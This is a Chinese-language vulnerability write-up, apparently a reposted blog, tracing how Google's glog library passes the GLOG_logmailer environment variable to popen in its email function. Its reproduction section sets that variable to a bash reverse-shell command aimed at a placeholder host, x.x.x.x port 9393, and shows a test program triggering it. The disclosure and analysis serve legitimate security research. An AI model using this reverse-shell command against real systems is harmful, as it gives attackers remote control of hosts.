Command Execution Vulnerability in Google Glog

admin 2024年10月7日23:24:31评论15 views字数 5513阅读18分22秒阅读模式

0x00:闲言

此漏洞于上个月报送GoogleVRP团队,Google回复漏洞已经重复了,故此分享给大家。另外感叹一下Google已经开始在使用AI来初审漏洞了。说不定过两年挖洞都AI化了。

Command Execution Vulnerability in Google Glog

glog是 Google 的 C++ 日志库,用于在 C++ 程序中记录日志信息。它是 Google Logging Library 的缩写。glog 提供了简单易用的日志记录功能,可以在代码中方便地插入日志语句,用于输出程序运行时的状态、调试信息、错误信息等。该库提供基于 C++ 风格的流和各种帮助宏的日志记录 API。

下载地址:https://github.com/google/glog

0x01:漏洞分析

目前Github上最新的是0.6.0。下载0.6.0到本地进行分析

位于https://github.com/google/glog/blob/master/src/logging.cc第2229行的`SendEmailInternal`函数中,有这样一段逻辑,在第2253行使用popen执行命令,其中cmd变量由另外三个变量拼接而成

string cmd = logmailer + " -s" + ShellEscape(subject) + " " + ShellEscape(dest);

Command Execution Vulnerability in Google Glog

其中在第2241行可以看到logmailer来自FLAGS_logmailer,但是函数并未设置该参数,我全局搜索源码寻找该关键字的定义,在base/commandlineflags.h中定义了相关

Command Execution Vulnerability in Google Glog

这是一个宏定义,用于定义和初始化一个字符串类型的配置参数。

该宏的作用是创建一个字符串类型的配置参数,并且同时定义了该配置参数的默认值和含义。具体来说,它展开为以下代码:

namespace fLS { std::string FLAGS_name_buf(value); GLOG_EXPORT std::string& FLAGS_name = FLAGS_name_buf; char FLAGS_noname; } using fLS::FLAGS_name;

在这里:

  • name:表示配置参数的名称,它将用于访问和设置该配置参数的值。

  • value:表示配置参数的默认值,如果未通过其他方式设置该参数,则将使用该默认值。

  • meaning:表示配置参数的含义,即对该配置参数作用的简要描述。

DEFINE_string 宏定义了一个字符串类型的配置参数,并为其设置了默认值和含义。在展开后的代码中,首先在命名空间 fLS 下定义了一个名为 FLAGS_name_buf 的字符串变量,并用 value 初始化它,表示参数的默认值。然后,在同一个命名空间下,定义了一个名为 FLAGS_name 的字符串引用,它引用了刚刚定义的 FLAGS_name_buf 变量,表示配置参数的值。最后,还定义了一个名为 FLAGS_noname 的字符变量,可能是为了防止重定义的冲突。

总体来说,DEFINE_string 宏定义了一个字符串类型的配置参数,并为其设置了默认值和含义,使得用户在使用时可以通过 FLAGS_name 来访问和修改该配置参数的值。

那么我们继续寻找DEFINE_string的调用,在commandlineflags.h中129行,定义了一个GLOG_DEFINE_string

Command Execution Vulnerability in Google Glog

GLOG_DEFINE_string 宏定义了一个字符串类型的 GLOG 配置参数,并为其设置了默认值和含义。并使用了 DEFINE_string 宏来定义和初始化配置参数,并使用 EnvToString 函数来处理默认值,可能是从环境变量中获取配置参数的值。

Command Execution Vulnerability in Google Glog

事实上EnvToString 函数确实是从环境变量中获取参数,该函数的作用是检查指定的环境变量是否存在,如果存在则返回其值,否则返回给定的默认值。继续跟踪GLOG_DEFINE_string发现

Command Execution Vulnerability in Google Glog

在logging.cc中的第169行中在代码中使用 GLOG_DEFINE_string 宏定义时,它会使用 DEFINE_string 宏定义,并将其展开为如下所示的代码:

DEFINE_string(logmailer, EnvToString("GLOG_logmailer", ""), "Mailer used to send logging email")

根据上述DEFINE_string的定义,不难得到以下关系:

FLAGS_logmailer = GLOG_logmailer

所以我们通过控制环境变量GLOG_logmailer 的值即可以控制FLAGS_logmailer的值

所以我们设置

export GLOG_logmailer="/bin/bash -i > /dev/tcp/x.x.x.x/9393 0<&1 2>&1 || /bin/mail"

即可执行反弹命令,但是问题来了,我们如何触发命令执行呢。回到一开始我们知道漏洞代码位于SendEmailInternal函数中,所以我们触发SendEmailInternal函数即可执行命令

那么如何触发SendEmailInternal函数呢,我们接着分析

Command Execution Vulnerability in Google Glog

SendEmailInternal函数在MaybeLogToEmail中调用,我们来了解一下这个函数的执行流程

  1. 首先,函数会检查日志消息的严重性(severity)是否大于或等于 email_logging_severity_FLAGS_logemaillevel 的设定值。注意,这里用的||,那么我们根据前面分析可知,我们可以通过控制GLOG_logemaillevel来控制FLAGS_logemaillevel的值。

  2. 如果满足发送邮件的条件,将构建用于电子邮件接收者的 to 字符串。to 来自FLAGS_alsologtoemail即为GLOG_alsologtoemail

  3. 构建邮件主题(subject),其中包含日志消息的严重性和程序的名称。

  4. 构建邮件正文(body),包含主机名和日志消息内容。

  5. 使用 SendEmailInternal 函数发送邮件,其中将 use_logging 参数设置为 false

所以我们继续跟进看看在什么情况下会触发

Command Execution Vulnerability in Google Glog

重点在函数中的

if (FLAGS_logtostderr || FLAGS_logtostdout || !IsGoogleLoggingInitialized()) {{

如果即 FLAGS_logtostderrFLAGS_logtostdout 都为 false,并且 Google Logging 已经初始化。那么就会进入else,执行MaybeLogToEmail等一系列函数

前两个参数如果不是手动设置默认都是即为false,而使用glog第一步就需要使用google::InitGoogleLogging来初始化Google Logging。所以这里默认不做任何动作都会执行MaybeLogToEmail

我们继续跟进SendToLog如何触发,

要想理解SendToLog是如何触发的,我们需要从glog的正确使用姿势来看,首先我们来看一段正常的glog使用代码

官方案例:

#include <glog/logging.h>

int main(int argc, char* argv[]) {
// Initialize Google’s logging library.
google::InitGoogleLogging(argv[0]);

// 提供了宏定义,对于记log的地方,提供了如下宏进行展开
LOG(INFO) << "Found " << num_cookies << " cookies";
}

其中关键用法是LOG(INFO) << "Found " << num_cookies << " cookies";这是glog的核心用法,用于输出一个INFO日志,跟log4j中的

logger.info("This is info message.");

是一个概念。

LOG(IFNO)本身是一个宏,我们跟进分析,在logging.h.in中对其进行了定义

Command Execution Vulnerability in Google Glog

让我们分解这个宏的定义:

  1. severity 是一个参数,表示日志级别,例如 INFOWARNINGERROR 等。

  2. COMPACT_GOOGLE_LOG_ ## severity 是一个预处理器的连接符,它将 COMPACT_GOOGLE_LOG_severity 拼接在一起。因此,当我们使用 LOG(INFO) 时,这个连接符会展开为 COMPACT_GOOGLE_LOG_INFO

  3. .stream()LogMessage 对象的一个成员函数,这里不重要。

所以我们继续跟进COMPACT_GOOGLE_LOG_INFO

Command Execution Vulnerability in Google Glog

首先,代码中通过 #if GOOGLE_STRIP_LOG == 0 来判断是否开启了完整的日志记录功能(即未启用日志剥离)。GOOGLE_STRIP_LOG 是一个宏定义,用于控制日志剥离的级别,如果设置为 0,则表示未启用日志剥离。默认已经定义好了

Command Execution Vulnerability in Google Glog

COMPACT_GOOGLE_LOG_INFO 宏用于输出普通的日志消息,它会调用 @ac_google_namespace@::LogMessage 构造函数,传入当前文件名 __FILE__ 和行号 __LINE__ 作为日志消息的位置信息。

#define COMPACT_GOOGLE_LOG_INFO @ac_google_namespace@::LogMessage( 
__FILE__, __LINE__)

让我们来逐步解释这段宏定义:

  1. @ac_google_namespace@ 是一个占位符,在实际使用中会被替换为 glog 日志库所在的命名空间。

  2. __FILE____LINE__ 是 C/C++ 预定义宏,分别表示当前源文件名和行号。在这里,它们作为参数传递给 LogMessage 构造函数,用于记录日志消息的位置信息。

  3. LogMessageglog 日志库中的一个类,用于处理日志消息的构造和输出。在这里,COMPACT_GOOGLE_LOG_INFO 宏会调用 LogMessage 的构造函数,将当前文件名和行号作为参数传入,从而创建一个 LogMessage 对象。

所以,当我们在代码中使用 LOG(INFO) 宏时,实际上会被展开为 @ac_google_namespace@::LogMessage(__FILE__, __LINE__) 这样的形式,这样就可以通过 LogMessage 类来处理并输出 INFO 级别的日志消息。

所以我们跟进到LogMessage

Command Execution Vulnerability in Google Glog

让我们逐步解释这段代码:

  1. LogMessage::LogMessage(const char* file, int line):这是 LogMessage 类的构造函数,接受两个参数,分别是当前源文件的名称 file 和行号 line

  2. : allocated_(NULL):这是初始化列表(initializer list),用于初始化类成员变量 allocated_。在这里,allocated_ 被初始化为 NULL,即空指针。

  3. Init(file, line, GLOG_INFO, &LogMessage::SendToLog):这是调用类的成员函数 Init() 来初始化 LogMessage 对象的其他成员变量。

    • fileline:当前源文件名和行号,用于记录日志消息的位置信息。

    • GLOG_INFO:这是 glog 日志库中定义的 LogSeverity 枚举值,表示当前日志消息的严重程度为 INFO。

    • &LogMessage::SendToLog:这是一个指向 LogMessage 类成员函数 SendToLog() 的指针,用于指定日志消息的输出方式。

所以,当我们创建一个 LogMessage 对象时,该构造函数会将当前源文件名和行号传递给 Init() 函数,并指定日志消息的严重程度为 INFO,以及日志输出方式为 SendToLog()。这样就完成了一个日志消息的构造和初始化,后续可以通过该对象将日志消息输出到相应的目的地。

从这里我们就追述到SendToLog的触发方式了。所以glog默认的用法就可以触发SendToLog函數

到此为止我们理清楚了整条逻辑关系了,这里我画了个图

Command Execution Vulnerability in Google Glog

分析到这里,整个利用过程就很清楚了。我们只需要添加几个环境变量即可执行命令反弹shell了

0x02:命令执行

我们实际测试一下,首先给出我的测试环境

OS: CentOS Linux 7 (Core)

编译器版本:g++ (GCC) 4.8.5 20150623 (Red Hat 4.8.5-44)

测试代码:

#include <iostream>
#include "glog/logging.h"
#include "gflags/gflags.h" // 添加头文件

int main(int argc, char** argv)
{
google::InitGoogleLogging(argv[0]);
LOG(INFO) << "HELLO";

}

这是一段非常官方代码,基本上大家都这么用,使用如下命令编译

g++ main.cpp -o main -lglog

注意:需要提前安装glog和gflags

然后设置三个环境变量:

export GLOG_logemaillevel=0
export GLOG_logmailer="/bin/bash -i > /dev/tcp/x.x.x.x/9393 0<&1 2>&1 || /bin/mail"
export GLOG_alsologtoemail="[email protected]"

随后执行./main即可反弹shell到x.x.x.x

Command Execution Vulnerability in Google Glog

0x03:随笔

其实能控制环境变量的场景少之又少,但是互联网上还是有相关产品可以通过页面功能修改变量从而完成RCE。如图:

Command Execution Vulnerability in Google Glog

原文始发于微信公众号(攻队):Command Execution Vulnerability in Google Glog

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月7日23:24:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Command Execution Vulnerability in Google Gloghttps://cn-sec.com/archives/1946914.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息